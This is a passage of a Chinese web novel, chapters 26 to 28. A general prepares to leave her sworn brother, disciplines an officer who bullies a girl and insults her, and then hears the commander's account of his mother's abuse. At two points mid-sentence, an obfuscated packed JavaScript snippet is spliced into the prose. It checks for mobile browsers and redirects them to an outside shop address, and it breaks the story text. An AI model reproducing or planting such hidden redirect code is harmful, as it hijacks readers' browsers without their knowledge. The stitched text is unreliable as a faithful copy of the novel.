对面人目光骤然凝住,手中的狼毫笔“啪嗒”一声,直直坠落在摊开的公文上,溅开几点墨。 “离开?”他身体猛地前倾,仰面向上,紧盯住她,声音绷得像即将断裂的弦。 姜六航眼帘低垂,避开他的视线,目光落在他按在桌面的一只手。 那手背上青筋毕露,五指张开,指节绷起,像用了很大的力气,要抓住什么。 “昨天有重大突破,突破这层后,便可淬炼经脉,使之更宽阔坚韧,但淬炼的过程需要和我内力同源之人辅助。我去找师父,让他帮我。” “淬炼好经脉之后……再回来?” “嗯。” 视线里,桌面上的手松懈下来,收了回去,放在了桌下。 “经脉拓宽,以后再不会疼?” “是,再不会疼。” “好,你去吧。”对面的声音放松下来,“我给你收拾行李。” 姜六航深吸一口气,坐到椅中,抬眼望去。 大哥靠在椅背上,脸上被药膏糊着,看不清具体神情,但从那双凤眸中的明亮色彩,那微微向上挑起的唇角,就可知他在笑着。 他这样高兴,以为她真是去找师父,从此摆脱那样痛苦的折磨。 可他又怎知,这一去,永无归期。 一股难以言喻的悲怆堵在胸口。 姜六航声音发涩:“大哥,你不问我,师父是谁吗? “你能说的时候,自然会告诉我。六航,你不能说,不想说,就不说,不必把这事放在心上,大哥不在意。” 滚烫热流在胸口冲撞,感激、温暖、柔软……还有那几乎要将她淹没的沉甸甸的愧疚,搅得她五脏六腑都拧紧了。 大哥明知她身世有异,却始终包容,从不逼问。 记得当年大哥拜她为将时,有人以她来历不明为由反对,要求她说清家世和来处,大哥把所有的异议都挡了回去,说:“我相信六航。我看中的是这个人,和他的家世无关。不管他从哪里来的,都不影响。” 姜六航垂着头,盯着大哥衣摆上绣着的云纹,声音发哑:“现在正是关键的时候,好些刚收复的势力还不稳定,我不在军中的消息若是走漏……” “六航。”温和的声音打断她,“不用担心,这些我都会安排好。你只管去,先把身体调理好。我等着你,健健康康地回来。” 姜六航握紧拳,咬了咬牙,压下喉头的哽咽。 不用担心,我都会安排好——大哥曾多少次这样对她说。 每一次,他都做到了。 她只需毫无顾忌地向前,其它的,全不用她多想。 将来,也许会遇到一个人,也和她这样说。可是没有过命的生死交情,没有困境中的相互依靠,她怕是很难去全心全意地相信那个人。 大哥说等她回来,可她……回不来了。 姜六航用力眨去眼中的水雾,努力扬起一个笑容,道:“好。” 秦信忽然想起一事,担心地问:“拓宽经脉时疼吗?” “不疼。” 秦信不信地皱眉:“真的?” 姜六航犹豫了一下,改了口,掐着小指指尖比划着,声音里带着一丝细微的虚浮:“有一点点疼,诺,就是这样一点点。真的!我要是骗你,就天天被谢执法盯上!” 这个发誓在铁骨军中是很严重的,秦信唇角逸出一丝无奈又带着宠溺的笑意:“五天后走?” “嗯。” “带多少人一起?” “师父性子孤僻,不见外人,我一个人去。” “要去多久?” “六个月到七个月。” 竟然要这样久。 秦信盯着面前的人,眸中笑意凝滞,下意识地抿了抿唇,尝到一点苦涩的药味。 和义弟相识以来,分开从未超过三个月。 一开始是为收拢人心,拉近关系,有意把五分的关切表现出十分。后来,他渐渐真的把这个人放到了心尖上,最多三个月,就忍不住日夜思念,寻找机会相聚。 六个月,两个三个月。 七个月,两个三个月还要多一个月。 还未分别,已经感受到日后的难熬。 可是,这趟非去不可,且不能耽搁。 他再受不住经历一次昨天那样的噩梦。 秦信定了定神,唤冯简进来,声音已恢复一贯的沉稳:“传令!命应匡、武成立刻放下军务,快马赶来!让武成把张炎押来!” 原池州总督张炎打仗是一把好手,既然归降,当然要物尽其用,让他戴罪立功。 —— 铁骨军首领齐聚中军帐。 姜六航离开的消息要封锁,但对这几个主要首领,必须提前交底,让他们心里有数,以更好地应对后面将军不在军中的局面。 听说将军要离开数月,帐内一片哗然。 裴祥光急得脸膛赤红,抓着山羊胡:“将军!你怎可这时离军?” 姜六航解释道:“我的身体要调理……” “扑——” 众人齐齐看过去。 “见笑、见笑。”姜子循放下茶杯,一边咳嗽,一边从袖子里取出帕子擦嘴,一边摆手,颇有几分狼狈之态:“……不小心,呛了一下。将军请继续,请继续。” 姜六航把先前的谎话又说了一遍。 姜子循又咳了几声。 他想岔了。 “可是,这时正是要紧时候!就不能再等等吗?事有轻重缓急,怎么偏偏非要……”裴祥光很是不满,声音拔高。 “二叔。”一道寒凉的语音响起。 对上那瞥过来的眼底闪现尖锐厉色的凤眸,裴祥光激灵灵打了个寒颤,后面的话硬生生卡在了喉咙里。 迟非晚见状,笑着打圆场:“有将军的名头镇着,还有应将军、武将军,只要做好布置,出不了大乱子。”顺势将话题引向防务部署。 一个时辰后,诸事议定。众人心思各异地散去。 姜六航与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734290|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦信并肩走在回帐的路上。 她搜肠刮肚,将记忆中关于治世安民的零碎理念,小心翼翼地、装作不经意地说出来。 她来自现代,虽然那时年纪小,可一些思想刻在了骨子里。一些在现代连小学生都知晓的,这个世界的人被时代局限,不见得能看清。 她说出来,大哥可以警醒,根据现时的情况适当借鉴。 直走到帐篷门口,话还没说完。 临要离开,才发觉,有那么多放不下,那么多舍不得。 —— 五天,姜六航一天天地数着过。 每天的固定日程:起床,跑步,和大哥一起吃早餐——巡查军营,训练军士——和大哥一起吃午餐——在军营外无人之处教裴佑练剑——和大哥一起吃晚餐——再次巡查军营——回帐篷睡觉。 然而第四天下午,遇到了一个小小的麻烦。 武成四岁半的儿子——武直,抱着裴佑的腿不肯撒手。 赵松拿着一个布老虎晃了晃:“儿子,来爹这里!” 武直看了一眼,无动于衷。 赵松吹响一只竹哨:“儿子,来爹这里!” 武直干脆扭过头,把脸埋到裴佑腿上,只留给他一个圆滚滚的后脑勺。 赵松:“……” 这个天气,他急得额头上出了一层细汗。 姜六航看了一会,问赵松:“小直直多久没见到武将军了?” “两个多月。”赵松抹了把汗,“从三路军分头出击,我们就一直在后方。” “两个多月啊。”姜六航道,“难怪。” 才四岁的孩子,和娘亲分离许久,见到除娘亲之外平日最亲近的姨姨,可不就黏着不走了? “抱着小直直一起去吧。”她对裴佑道。 赵松有些不安:“恐怕他吵着将军。” 姜六航摆手:“没事!” 两人带着武直出军营。 姜六航骑着赤云。 裴佑的坐骑是一匹棕色骏马,名唤疾风。 马匹急驰,卷起尘土。 湛蓝的天幕下,小灰的身影在高空盘旋, 这只鸟似乎很有灵性,从不当着人和姜六航接触,也不鸣叫。 到了惯常练剑的僻静山坡,在地上铺了一张厚大的软垫,把孩子的玩具放在上面,让他自去玩耍,裴佑开始练剑。 白虹剑光流转,每一招刺出,绚烂夺目中暗藏凛冽杀机。 三十三招再世剑法,裴佑已尽数学全。这几天,姜六航着重引导她领悟剑招的万千变化与其中蕴含的剑意。 姜六航每念出一个变式,裴佑应声出剑,直到剑招转换间圆融无碍,如行云流水。 练剑完毕后,姜六航捂住武直的耳朵,武直以为姜叔叔在和他玩耍,脑袋左摇右摆,“嘿嘿”笑着。 “我没有什么可以教你的了,今后要靠你自己领悟。”她道。 裴佑郑重承诺:“我一定不埋没这套剑法。” 第五天,这是最后一天,应匡和武成风尘仆仆赶到。 所有将领齐聚中军帐,商议剿除剩余的敌对势力,分派兵力,制定战略。 这一议,就议了足足两个时辰,连午饭都是送进帐内,众人边吃边谈。 下午,军务终于议定。 姜六航出了中军帐,带着两个近卫,走到军属居住区。 26. 第 26 章 姜六航三人走到半途,突然,听见一座帐篷后传来声音,活脱脱的恶霸口吻:“臭丫头!几件破烂衣裳,老子就扔了又怎样?你抓着刀干什么?还想跟老子动手不成?也不掂量掂量自个儿几斤几两!不自量力!” 姜六航脚步一顿。 “你怎么不讲理?”一个女孩的声音道,“我又没惹你,凭什么扔我衣裳?” “你就说,你是不是姜子循的女儿?” “是。” “那就对了!老子教训的就是你!姜子循的女儿!” 姜六航挑眉,心里“呵”了一声。 这谁? 和姜大人有仇? 姜大人的妻女头一次在军营住下,竟就遭人刁难。 可姜大人是铁骨军核心首领之一,在军中,谁敢公然与他作对? 她向两个近卫无声地打了个手势,三人放轻脚步,绕过帐篷,看清了冲突现场。 一个二十出头的青年,姜六航认得,是裴大人的儿子,裴佑的亲哥,大哥的堂弟,名叫裴轩,在铁骨军中任从事。往日瞧他是个端正有礼的青年,此时却眉毛倒竖,满脸戾气。 他身边站着一个孔武有力的随从,佩着剑。 对面,是个十一二岁的圆脸女孩,腰间的横刀几乎与她半身齐长,双手紧握刀柄,身体绷得像张拉满的弓,毫无惧色地瞪着比她高大许多的两人。 地上散落着十几件衣裳,大多是孩童旧衣,尺寸不一。 “你是谁?和我爹有仇?”女孩问出了姜六航心底的话。 裴轩的声音压得很低,但姜六航耳力极佳,字字听得清楚:“仇?倒也算不上深仇大恨。就是你爹,挡了我爹的道儿!” “你爹是谁?” “总督的二叔,知道吧?” “裴大人?”女孩的声音不解,“他和我爹都是总督的人,同为总督做事,我爹怎么会挡着他的道?” “和你个小丫头片子说不明白!”裴轩不耐烦地挥手,“回去转告你爹,识相点,别跟我爹抢东西!这天下都是我们裴家的,他惹不起!别到时候遭了殃,哭都没地方哭去!” “天下是总督的,不是你们家的!” “总督家的就是我家的!” “不是!” “懒得和你说,你懂个屁!” “你才是个屁!” “臭丫头,你骂老子?!” “我爹不会抢别人的东西!” “抢没抢他心里有数!”裴轩冷笑道,“我爹帮着总督夺下江山,整个铁骨军中,谁的功劳能大过我爹?姜子循算什么东西,也配跟我爹抢?!” “功劳最大的是将军!” “将军?”裴轩从鼻子里哼出一声,“他带的兵都是我裴家的,不过是我裴家养的一条咬人的……”最后一字,他几乎压成了气音,“狗。” 狗? 姜六航搭在刀柄上的手指骤然收紧,眼底寒光一闪而过。 “锵——!”寒光乍现! 女孩猛地拔出横刀,刀尖笔直指向裴轩,小脸涨得通红:“你蔑视、辱骂将军,该受军法!随我去见谢执法!” 她双臂平举,那柄对她而言过于长大的横刀竟被她端得极稳,纹丝不动。脚下站姿沉稳,显然下过苦功。 “豁!还敢跟老子嚣张?今天不给你点颜色看看,老子就不姓裴!”裴轩被激怒,转头对随从喝道,“你去,给老子狠狠地打!” 那随从脸上飞快掠过一丝迟疑,但立刻就隐去,抽出佩剑,扑向女孩。 两人打在一起。 女孩招式有板有眼,奈何力气悬殊,十几招后便左支右绌。 剑光一闪,剑尖直刺女孩肩头。 电光火石间,“铛!”一颗石子精准无比地砸在剑身之上。 石子蕴含的力量沉猛异常,不仅荡开刺向女孩的利剑,更震得那随从踉跄着向后连退数步才勉强站稳。 “谁?”裴轩转头厉喝。 女孩却一眼未瞟这边,只紧盯着敌手。就在随从下盘虚浮、门户大开的瞬间,她疾冲上前,刀尖稳稳抵在了随从的心窝! “别动!”控制住敌手后,女孩厉声道:“否则,我的刀就要见血了!你比我年长,又是你先动手,我便是在打斗中失手杀了你,也不会受罚!” 这话说得十分在理,随从果真一动不敢动。 女孩眼角余光这才扫向石子飞来的方向。 石头自然是姜六航扔的,她见到女孩表现,心中忍不住赞道:“临危不惧,心神坚定,于乱中抓住时机,一举反制!有勇有谋,不愧是我的……大哥得力属下的女儿!” 她从帐篷阴影中走出来。 “将军!”三人同时惊呼。 两道惊惶失措,一道则充满了几乎要溢出来的惊喜与崇敬。 裴轩脸色瞬间惨白如纸,额角冷汗涔涔,嘴唇哆嗦着,心中惊疑不定:“他听到了?隔着这么远,我的声音又压低了……” 下一刻,姜六航的话打破了他的侥幸。 “裴从事,我何时成裴家的狗了?我竟一点儿都不知道。可否为我解惑?”姜六航缓步上前。 裴轩挤出一个比哭还难看的笑容:“将军恕罪!我一时头脑发晕,口不择言,胡说八道,您大人有大量,千万别跟我一般见识。” “无妨,被说一句又不会少块肉。”姜六航大度地摆摆手。裴轩刚松半口气,却听她话锋陡然转冷,“但你身为铁骨军军人,恃强凌弱,欺压军属,不能不罚!”她示意两个近卫:“将这二人押送执法堂,依军规惩治。” 裴轩眼底怨毒之色一闪而过,却又硬生生压下。 好汉不吃眼前亏! 即便被罚军棍,那些行刑的军士也不敢真下狠手,装装样子罢了。 两个近卫押着人正要走,姜六航目光不经意扫到地下,叫道:“慢着!” “裴从事,把扔的衣裳捡起来,向姜姑娘道歉。” 等裴轩僵硬地照做后,姜六航招来附近一个军士:“把衣裳送到裴从事帐篷里去。” 随即,她看向裴轩,语气和蔼:“裴从事,这些衣物被你扔在地上,沾染了尘土,更有踩踏痕迹,不洗净无法再穿。有劳你从执法堂领完罚回去后,亲自动手,将它们清洗干净,仔细烤干熨平,再送还姜姑娘。”她顿了顿,对着裴轩蓦然瞪大的不敢置信的眼,似是想起什么,“啊,对了!若你伤重,那确实不便勉强,铁骨军向来不苛待伤患。这样吧,裴从事,你可以请你的亲属代劳。” 石进和沈以贵押着两人离开。 姜六航转向女孩:“受惊了吧?我送你回去。” “嗯!”听将军说送她回去,女孩一句“没受惊”到了喉间又咽回,用力地点头,眼睛亮如星辰,“谢谢将军!” 她利落地收刀入鞘,双手抱着刀鞘,雀跃地跟在姜六航身边,激动得心仿佛要跳出胸腔,脚步都轻快得发飘。 和女孩边走边说,一会儿之后,姜六航发现,女孩竟然是个话痨,问一句,她能扯出葫芦连着叶,答一大串。 和她先前冷静制敌的形象完全不符。 姜六航随口问起衣裳用途,姜持滔滔不绝地道:“将军,这些是好心人 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“嗯!”姜持仰起小脸,满是坚定,“我要把刀练得和将军您一样厉害!那样,就再也没人能欺负我了!”显然还对刚刚裴轩的行为耿耿于怀。 “有志气!”姜六航赞许地揉了揉她的发顶。 说着话,不知不觉间,到了女孩的家。 一位大约四十几岁的妇人闻声迎出来。 见过礼后,王院长把将军请进屋内,落座奉茶。 因为要打理平乐院,五年来,王院长从没在军营里住过,偶有几次来军营寻姜大人,又恰好和姜六航错过。 所以这是姜六航第一次见到她。 她的目光不由自主地在王院长那双杏眼上停留了一瞬,有片刻的失神。 听女儿简单讲叙了经过,王院长满脸感激:“多谢将军为小女解围。若非将军及时出手,小女今日定然要被伤到。” 姜六航歉然道:“王院长言重了。铁骨军中出现这样的欺凌事件,是我等治军不严,管理失职。该是我向你们赔罪才是。” “将军莫要这样说。”王院长反过来安慰她,“铁骨军军纪严明,已是难得。人多难免疏漏,哪能苛求尽善尽美?” 大约是和孩子们相处久了,她的语气中带着不自觉的安抚力量。 又闲谈了几句,姜六航起身告辞。 王院长留她吃晚饭,她只说还有事。 王院长也知将军繁忙,不敢强留,略一踌躇,试探着问道:“我做有一些腌菜,将军要不要一点?” 她有些不好意思,“不是什么好菜,但是祖上传下的手艺,比外头寻常的滋味略好些。家里人和孩子们都喜欢吃。将军若不嫌弃,我拿些给将军尝尝?” 她取来一小碟。姜六航尝了一箸,咸淡适中,脆爽可口,连连赞道:“果然好滋味!王院长好手艺!” 王院长见她喜欢,十分高兴,取了一个小瓷罐,压了又压,装了踏踏实实的一满罐腌菜,交给姜六航。 姜六航捧着罐子,走出房屋,回头深深望一眼在门口送别她的俩母女,微微笑道:“我走了。” 特意来军属居住地一趟,见到了想见的人,该走了。 她转身,捧着那罐腌菜,大步离开。 王院长望着那挺拔的背影渐行渐远,直至消失在营帐转角,一股莫名的怅惘突然涌上心头,空落落的,仿佛心尖被轻轻抽走了什么。她下意识抬手抚上胸口,眼神茫然地望着那个方向,久久未动。 —— 另一头,裴轩随着两个近卫走了一段,陡然发现不对—— 这不是去执法堂的路。 27. 第 27 章 裴轩的心几乎要撞出胸腔。 石近卫那张黑沉的脸,眼神淬了毒般剜着他,仿佛下一刻就要扑上来撕咬。沈近卫面上带笑,甚至回头递给他一个安抚的眼神,却不知为何,更让他毛骨悚然。 “沈、沈近卫,这,这路不对吧?不是去执法堂?” 莫不是想寻个僻静处先结果了他? 不,他们应该不敢害他性命。 但很可能狠打他一顿,把他打残。 堂兄一向偏袒将军,他理亏在先,近卫们忠心护主,即便被打残了,堂兄大概也不会为他做主。 路是沈以贵带的,石进也不知为何要绕远路,他只管跟着走,听见裴轩问,也跟着看向沈以贵。 “裴从事莫急。”沈以贵笑着道,“顺路办件小事,片刻就好。” 说话间,已行至总督营帐附近。 裴轩面如土色,只想快快离开,偏偏沈以贵却脚步一顿,竟径直朝那帐门走去! 听闻总督不在,沈以贵眼中极快地闪过一丝失望之色,但转眼就掩去,面上仍是含笑,只请守帐近卫转告:将军明天辰时初刻启程。 说完和他们拱手告辞:“将军命我们把裴从事送到执法堂,正事要紧,我们先走了。” 重新上路,沈以贵暗自懊恼:“平日这个时辰,总督十有八九都在帐中处理公务,今日怎偏不在?便宜这混账东西了!”若是总督知道这人辱骂将军,定会重罚。 另一边,守帐近卫们交换着眼神,忍不住好奇地低声议论开来。 “裴轩犯什么事了?竟劳动将军亲令押送?” “肯定不是小事儿!要不然将军看在裴大人面上,睁只眼闭只眼也就过去了。” 正议论着,秦信和冯简走过来,几人看见,连忙住嘴。 冯简在门口停下。 秦信戴着帷帽,直接走了进去。 他并不在意脸上的伤,但人们总不自觉地把注意力放到他的脸上,很是碍事。 取下帷帽,他走到铜镜面前,伸手抚上镜面,凤眸中一片幽暗。 这几天,六航看见的都是这张脸。 以后,这张丑陋的脸,会不会时常盘踞在六航脑海里? 指尖骤然用力,几乎要刺破镜面。 六航爱美色。无关情欲,不分男女。 当时应该让六航抓其它地方的,手、脖子、肩、腿……随便哪里都行,只要不是这张脸。 秦信更凑近铜镜,伸出食指,揩去脸颊上的一小块药膏,露出指甲盖大小的一块肌肤,黑红色,结着痂。 大夫说,只要脱痂后抹上一段时间药,好生护理,不会留下疤痕。 大夫这样说,应该是有十成把握。他手上那些陈年冻疮留下的狰狞疤痕,便是用这大夫的药膏消去的。 “总督!”冯简进来,正撞见总督顾影自怜的一幕,后面的话嘎然而止,一脸的怀疑人生。 秦信若无其事地放下手,拿起帕子,慢慢擦拭指腹上沾着的药膏:“说。” 冯简木着脸,把刚才听近卫们说的话重复了一遍。 “为了何事?” 冯简摇头说不知。 “去执法堂,问清楚。” —— 裴祥光正在帐篷里吭哧吭哧洗衣裳,突然,一名小兵慌慌张张地跑进来禀报:“裴大人!不好了!裴从事被抬回来了!伤得很重!” 衣裳“啪”地砸回浑浊的水里,溅起一片水花。裴祥光猛地站起,顾不得擦手上的水渍,急声问道:“打了多少?” “三十军棍!” 裴祥光眼前一黑:“怎会罚这样重?” 小兵哭丧着脸:“原本谢执法判十军棍,正要开打的时候,总督身边的冯近卫突然来了,他把沈近卫、石近卫叫到一边,问了一会话,问完就走了。十军棍打完,我们正要背着裴从事回来,总督来了。” 裴祥光疑惑:“总督来了,后面怎么又打了二十军棍?”儿子可是总督堂弟,有总督护着,谁敢再打他? “总督说,裴从事口出狂言,动摇军心,加罚二十军棍。” 裴祥光简直不敢相信自己的耳朵。 总督不说护着自家人,竟然还要加罚? 他心乱如麻,嘶吼着冲出帐篷:“快请大夫!快啊!” 到现在,他都不知道儿子究竟犯了什么滔天大罪,只听送衣裳的军士含糊说,儿子和姜子循的女儿起了点冲突,正好被将军撞见。 可军士说了,那丫头毫发无损! 就为了几句口角? 裴祥光跌跌撞撞冲进儿子的营帐。 浓重的血腥味直冲鼻腔,裴轩面如金纸趴在板床上,从肩背到大腿的衣料被暗红的血浸透,几乎成了个血葫芦。 裴祥光腿一软,心口像被利刃狠狠剜开。 这是他裴家的独苗啊! 他抓住跟来的小兵,面色狰狞:“三十棍怎的打成这样?动手的是哪几个,下这样的狠手?” 小兵吓得白了脸:“不是他们要下狠手,总督坐在那儿盯着呢。行刑的兄弟手只软了一下,总督就说:‘没力气了?换人!’哪个还敢留手?” 大夫来得很快,姓陈,一个五十来岁的女子,是铁骨军中处理外伤最拿手的军医。 陈大夫仔细检查一番,发现除了背部和臀部的伤,左腿骨也断了。 接骨时,剧痛将裴轩从昏迷中生生拽醒,发出不似人声的惨嚎,身体剧烈痉挛。两个小兵用尽全力才压住他。 裴祥光听着儿子撕心裂肺的嚎叫,不由得眼中流下泪来。 折腾好一会才完事,陈大夫开了一些外敷内用的药,道:“性命无碍,但元气大伤,没一年半载,休想下床。” 这话让裴祥光刚缓过的一口气又死死堵在胸口。 现在正是捞功劳的好时候,儿子却要错过了! 一股怨愤难以遏制地涌上心头。 将军未免太过! 侄儿也太无情! 送走陈大夫,他急忙回头去看儿子。 裴轩眼神涣散,里面满是恐惧:“爹,他想我死……” 行刑时,那人落在他身上的目光,冰冷、漠然,如同在审视一块朽木、一滩烂泥,一个死物。 那一刻,他忽然产生强烈的直觉:那人想要他死! “轩儿!住口!”裴祥光脸色骤变,厉声喝止,猛地扭头,盯向还留在帐篷内的两名小兵。 那两人吓得魂飞魄散,扑通跪倒。 裴祥光阴鸷的目光在他们身上刮了几遍,才从齿缝里挤出一句:“管好你们的嘴,滚!”两人如蒙大赦,连滚爬爬地逃出帐篷。 裴祥光转向儿子,缓声道:“你怎会有如此荒谬想法?你堂兄身为总督,严惩于你是为整肃军纪。” “不是的!”裴轩拼命摇头:“爹,他恨我,他一直记恨我小时候欺负过他,想要我死。” “你别多想,你是他堂弟,他怎会要你死?” “他连亲爹都杀,哪还管堂弟!” “轩儿!”裴祥光吓得语音变了调,“你疯了不成?说出这样的糊涂话?你大伯是死于土匪之手!” 裴轩瞪大眼:“我没糊涂!是四堂弟亲口告诉我的!” “他告诉你,你堂兄杀了他爹?” “四堂弟说,土匪抓大伯挡剑,他本可以撤剑,他没撤!一剑刺穿了两个人!他是故意的,他恨大伯不救他娘!” 裴祥光身子发颤:“你四堂弟是个疯子,他的话不能信!” “四堂弟告诉我的时候没疯!”裴轩抓住他爹,嘶声道,“是后来,他不给大堂兄请医看病,活活拖死了大堂兄,四堂弟才吓疯的!” 裴祥光感觉手背像贴着一块冰疙瘩,被冻得打了个哆嗦:“不可能!” 裴轩急道:“爹,是真的!说不定……说不定那些土匪就是他引去的!” “别胡说!” “爹你想想!除了大堂兄和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748822|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四堂弟侥幸活下来,大伯的其他儿子,不都死在那一场祸事里了吗?后来大堂兄没了,四堂弟疯了,大伯的势力,不就全落到他手里了?他娘不过是一个罪奴,要不是大伯其他的儿子都死了疯了,这偌大的家业和军权,哪轮得到他来继承掌管?” 裴祥光如遭雷击,浑身剧颤,僵立当场。过了半晌,他才猛地回魂,一把死死捂住儿子的嘴:“这些话,给我烂在肚子里,一个字都不许再吐出来!听见没有!” “我肯定不说,”裴轩涕泪横流,语无伦次,“可他盯上我了,他今天没打死我,以后,以后……” 看着儿子恐惧的脸,裴祥光压下了追问冲突细节的念头,安慰他道:“你堂兄真要你死,不必等到日后。你现在什么都别想,好好休息,养伤要紧,万事有爹在!” 待儿子昏沉睡着,裴祥光走出营帐,脸上阴云密布,问:“今天跟着轩儿的那人呢?” 亲随小心答道:“他挨了十军棍,在躺着养伤。” 裴祥光厉声吩咐:“把他拖来!我要知道,轩儿到底做了什么,说了什么,竟像是把天都捅破了!” —— 在裴祥光审问随从之时,姜六航掀帘进了总督帐篷。 帐内,秦信正背对着门口更衣。 墨色的贴身里衣勾勒出紧实流畅的线条,肩背坚实,腰身劲窄,长腿笔直,满身蕴藏着一种内敛的、充满韧性的美感。 秦信无需回头,也能感觉到义弟目光在自己身上流连。他神色不动,拿起搭在凳子上的衣物,一件件从容穿上。 “六航,坐,稍等片刻。”他声音如常。 “要我帮忙吗?要不要我给你系腰带?那东西绕来绕去,很不好弄。”姜六航目光落在垂落的腰带。 秦信执起外袍的动作微不可察地滞了一瞬,指尖悬在半空。帐篷里似乎突然安静得能听见自己心跳的声音,那随意的问话像羽毛,轻轻搔过心尖最隐秘的角落。他定了定神,才若无其事地将外袍披上,声音平稳无波:“不用。” 姜六航依言坐下,端起茶盏喝了一口。 等待间,目光又不自觉地落在眼前人身上。 大哥已穿好里衣,正套上外袍。一身窄袖蓝色云纹骑装,与她身上的一般无二。 这不稀奇。 她的四季衣裳,从里到外,几乎都是这人一手包办,经常一做就是两套,一套给她,一套留给自己,所以两人撞衫是常有的事。 不过,大哥不像是刚沐浴过,怎的突然换衣? “大哥,”姜六航放下茶杯,好奇地问,“你刚才和人打斗了?把衣裳弄脏了?” “没有。”秦信系好腰带,利落地打了个结,转过身来,神色自若地解释,“刚才去了趟执法堂,正撞上谢执法给人用刑,不慎溅了几点血污在衣袍上。” 他一边说着,一边走到床边,拎起一个深蓝色的厚实包裹,走回姜六航身侧的椅子坐下,将包裹轻轻放在案上:“给你备的行李,路上用得着的都在里面,等会让近卫给你拿去。” 姜六航的目光落在包裹上。 她伸手摸了摸,布料厚实,沾染着浅淡檀香。 是她喜欢的气味。 她只说过一次,后来她的帐篷里,就常常燃着这种香料。她和大哥的衣裳,也时常用这香料熏染。 这应是大哥最后一次为她打点行装了。 心头蓦地一涩,姜六航低声道了谢,唇线抿紧又松开:“大哥,正好你也穿着骑装,我们去跑一会马吧?活动活动筋骨。” 现在是申时初,日头偏西但离天黑尚早,还能有一个多时辰的相处时光。 秦信捕捉到她声音里那丝滞涩,目光在她眉眼间停了一瞬。 六航……也是在不舍么? 两人来到马厩,远远地,姜六航看见小灰停在赤云的背上。 她呼吸微微一窒,飞快侧首望向身畔之人。 大哥的视线,正不偏不倚地投向那边。 28. 第 28 章 没等两人走到近前,小灰拍拍翅膀,飞向高空,而且很聪明地没发出和它身形不相称的“啾啾”叫声。 秦信的视线轻轻掠过那鸟,未作停留。 姜六航这才悄悄松了口气。 回过神,又不禁暗自摇头。 真是杞人忧天。 那鸟身上又没写着方三的名字,自己紧张什么? 再说,就算大哥知道是方三的鸟,也证明不了和她有关。 再再说,即便大哥知道是方三给她的,又能联想到什么? 两人不再耽搁,一夹马腹奔出军营,径直驰向附近一座高山。 到山下后两人没下马,沿山脚绕行一段,寻到一条山道策马上行。 途中遇见几个下山的猎户,背着竹篓或拖着简易拖架,里面装着野兔山鸡。见到戴着帷帽、遮住面容的两人,猎户们从马具制式认出是铁骨军人,笑呵呵地在路边抱拳行礼。 道旁草木丰茂,时见小兽身影窜动,偶有大胆的横穿山道。 姜六航手持弓箭,侧头朗声道:“大哥,比比谁先猎到野鸡?” “好!” 话音未落,秦信的箭已钉入草丛中一只觅食的野鸡。姜六航紧随其后,也射中一只扑腾而起的野鸡。 秦信利落下马,拔下箭矢,将两只猎物挂在自己马侧。 很快抵达山顶,循着水声找到一条小溪。两人下马,取下帷帽。 姜六航自觉去寻枯枝生火。山上枯枝易得,不消片刻便收集到许多,扯了几根藤条捆起,提着返回。 秦信已经把两只野鸡处理好,洗得干干净净。地上铺着两个小坐垫,旁边放着几个装了盐和其它作料的竹筒,还有块干净布上摆着两个盘子、两双木筷。 姜六航看得咋舌:大哥准备得也太周全了! 秦信动作麻利地升起火堆,用削尖的树枝穿好野鸡架在火上烤。 野鸡的皮肉在火焰的舔舐下收紧,油脂被逼出,烤得“滋滋”响。 他拿起装着盐和作料的竹筒,均匀洒落,烟火气混合着诱人的肉香,扑鼻而来,勾得人食指大动。 姜六航抱着膝盖坐在一旁,看着秦信娴熟的动作——翻动树枝、控制火候、洒料,一丝不乱,流畅得让她插不上手。 她目光在烤鸡和秦信身上来回,疑惑又浮上心头:“大哥也是总督家公子出身,富贵窝里长大,可做起杂事,怎么这样熟练呢?” 想着时,目光不自觉定在秦信身上。 跳跃的火光给他笼上一层暖金色的光晕,他曲着长腿,上身微倾,一手随意搭在膝上,一手握着树枝,骨节分明的手指在火光下泛着浅淡的暖红。只是一个简单的翻动动作,却透着难以言喻的沉静与好看。 不需要去看脸,只要看着这个人的身影,看着他的姿态,你就能判定,这必是个极美的人。 ……脸? 姜六航忽地醒悟,往大哥脸上看去。 察觉到义弟视线的落处,秦信睫毛颤动,握着树枝的手指不自觉收紧,不露痕迹地偏过头。 “大哥,让我来,你指挥就是!大哥你退后点,别烤化了脸上药膏!” 秦信:“……” 姜六航凑过去,不由分说地抢过他手上的树枝。 温热划过指尖,秦信不动声色地收回手,依言往后退了退。 “大哥,你怎么就这么能干呢?会做这么多事。”姜六航双眼盯着火堆上的烤鸡,一边感叹道,“我以为总督家的公子,都是衣来伸手,饭来张口,什么活都不用干的。” 秦信拿了一根树枝,伸长手臂去拨弄火堆。 他目光落在跳跃的火焰上,片刻后,才开口,声音低沉平稳,听不出波澜:“我母亲一家,原是和州矿上的罪奴。” “啊?”姜六航讶然。 “我母亲生得极美,平日都以黑污掩盖容貌。那天,矿洞塌了,她的爹娘、两个兄长,都埋在里面了。只有她在洞外,躲过一劫。”他的声音依旧没什么起伏和情绪,像在讲着别人家的事,“她洗了脸,给家人送葬,被裴永年看见了。” “当日,他就把我母亲带回了府衙。”秦信拿着树枝,在炭灰里无意识地划着,“当晚就成了事。” 畜生!! 姜六航只觉一股怒火直冲天灵盖,牙齿咬得咯咯作响。 当日—— 